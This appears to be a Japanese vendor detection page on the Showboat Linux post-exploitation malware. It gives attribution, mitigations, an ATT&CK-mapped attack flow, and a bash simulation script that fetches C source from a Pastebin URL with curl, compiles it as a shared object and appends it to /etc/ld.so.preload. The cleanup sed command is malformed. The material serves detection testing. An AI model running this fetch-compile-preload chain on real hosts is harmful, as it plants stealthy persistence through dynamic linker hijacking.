ショーボートマルウェアが2022年以来中東の通信企業を標的に
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Showboatは、AMD x86-64環境向けに構築されたモジュラー型のLinuxポスト・エクスプロイテーションフレームワークです。2022年中頃から活動しており、侵害されたネットワーク内で静かに長期間アクセスを維持することを目的としています。このマルウェアは、悪意のあるプロセスを隠すためにXOR暗号化と動的リンカの悪用を含む高度な回避方法を使用しています。
調査
調査の結果、コマンドアンドコントロールインフラストラクチャが中国成都にあることが追跡され、観察された戦術、技術、手順と共に、PRCに関連する脅威アクターへのリンクが示唆されました。技術分析によると、このマルウェアはその設定を復号化するためにハードコーディングされたXORキーに依存しており、 ld.so.preload を悪用して感染したシステムでのステルス性を実現しています。
緩和策
防御者は、 /etc/ld.so.preload への無許可の変更や、プロダクションLinuxホスト上での gcc コンパイラの不審な使用を監視する必要があります。また、ビーコン動作をランダム化されたタイミングでも識別できるネットワーク監視を展開し、重要なシステムライブラリの整合性監視を使用することを推奨します。
対応
Showboatアクティビティが検出された場合、影響を受けたLinuxシステムをすぐにネットワークから隔離してさらなるコマンドアンドコントロールのトラフィックを停止させます。メモリフォレンジックスを実行して注入された共有オブジェクトを特定し、すべての永続性メカニズムが削除されたことを確認するためにシステム設定とスケジュールされたタスクの完全な監査を実行します。
graph TB %% クラス定義 classDef action fill:#99ccff classDef builtin fill:#cccccc classDef malware_entity fill:#ff9999 classDef network fill:#99ff99 %% ノード定義 %% ステージ1: 初期設定 action_decryption[“<b>アクション</b> – <b>T1027: 難読化されたファイルまたは情報</b><br/>ハードコードされたキー「look me, AV!」を使用して<br/>XOR方式で暗号化された設定情報を取得<br/>対象: telecom.webredirect[.]org”] class action_decryption action %% ステージ2: C2および情報流出 malware_showboat[“<b>マルウェア</b> – <b>Showboat</b><br/>侵害後ライフサイクルを管理するエージェント”] class malware_showboat malware_entity action_beaconing[“<b>アクション</b> – <b>T1071: アプリケーション層プロトコル</b><br/>ハートビートビーコンを使用してC2通信を確立<br/>検知回避のためランダムなスリープ間隔を使用”] class action_beaconing action action_exfiltration[“<b>アクション</b> – <b>T1029: スケジュール転送</b><br/>ホスト情報とスクリーンショットをJSON形式にまとめる<br/>データを暗号化しBase64エンコードを実行<br/>PNGフィールド内のステガノグラフィを利用して回避”] class action_exfiltration action %% ステージ3: ステルスと永続化 action_fetch_source[“<b>アクション</b> – <b>T1105: 侵入ツール転送</b><br/>Cソースファイル ukpkmkk.c を取得<br/>取得元: Pastebin URL”] class action_fetch_source action action_compile[“<b>アクション</b> – <b>T1059: コマンドおよびスクリプトインタープリター</b><br/>被害マシン上で ukpkmkk.c をローカルコンパイル<br/>悪意のある共有ライブラリを生成”] class action_compile action action_hijack[“<b>アクション</b> – <b>T1574.006: 実行フローのハイジャック: 動的リンカーハイジャック</b><br/>ld.so.preload メカニズムを利用<br/>/tmp/ukpkmkk.so をプロセスへ注入”] class action_hijack action action_stealth[“<b>アクション</b> – <b>T1564: アーティファクトの隠蔽</b><br/>readdir() などのシステムコールをフック<br/>フィルターリストを使用して ps や top からプロセスを隠蔽”] class action_stealth action %% 接続 malware_showboat –>|実行| action_decryption action_decryption –>|確立| action_beaconing action_beaconing –>|データを流出| action_exfiltration action_exfiltration –>|隠蔽コマンドを起動| action_fetch_source action_fetch_source –>|につながる| action_compile action_compile –>|ライブラリを生成| action_hijack action_hijack –>|達成| action_stealth %% 最終フロー action_stealth -.->|維持| malware_showboat
攻撃フロー
シミュレーションの実行
前提条件: テレメトリーとベースラインのプレフライトチェックが通過している必要があります。
根拠: このセクションは、検知ルールをトリガーするために設計された敵社技術(TTP)の正確な実行を詳細に説明します。コマンドとストーリーは、特定されたTTPを直接反映し、検知ロジックによって期待される正確なテレメトリーを生成することを目指さなければなりません。抽象的または無関係な例は誤診につながります。
-
攻撃の詳細とコマンド: 攻撃者はシステムコールの永続的なインターセプトを確立することを目指しています。彼らはまず
curlを使用してPastebinの生のURLから悪意のあるCソースファイルをダウンロードすることから開始します。ダウンロードが完了すると、gccを使用して、-sharedand-fPICフラグを使用してソースをコンパイルし、という名前の共有オブジェクトファイルにします。最終的に、このライブラリをすべてのプロセスに注入する意図で、そのパスをに追記します。このシーケンスは、システム上のすべてのプロセスに悪意のあるライブラリを注入することを目的としています。/etc/ld.so.preload. -
回帰テストスクリプト:
#!/bin/bash # ShowboatマルウェアTTPsのシミュレーション # 1. PastebinからCソースを取得するシミュレーション # 注意: 本物のraw pastebinリンク(ロジック用にモック)を使用するか、文字列をシミュレーション echo "モックのpastebinダウンロードシミュレーションを作成中..." echo 'void __attribute__((constructor)) init() {}' > fake_malware.c # このコマンドは'rule'の'選択_fetch'部分をトリガーします curl -s https://pastebin.com/raw/example_id -o fake_malware.c # 2. 共有オブジェクトのコンパイルをシミュレーション # このコマンドは'selection_compile'部分をトリガーします # (selection_fetch AND selection_compile) gcc -shared -fPIC -o /tmp/malicious.so fake_malware.c # 3. ld.so.preloadの修正をシミュレーション # このコマンドは'selection_preload'部分をトリガーします echo "/tmp/malicious.so" | sudo tee -a /etc/ld.so.preload echo "シミュレーション完了。SIEMでアラートを確認してください。" -
クリーンアップコマンド:
#!/bin/bash # シミュレーションアーティファクトのクリーンアップ # 悪意のあるライブラリとソースを削除 sudo rm -f /tmp/malicious.so rm -f fake_malware.c # ld.so.preloadからエントリを削除(注意が必要) # このsedコマンドは/tmp/malicious.soを含む行を削除します sudo sed -i '//tmp/malicious.so/d' /etc/ld.so.preload echo "クリーンアップ完了。"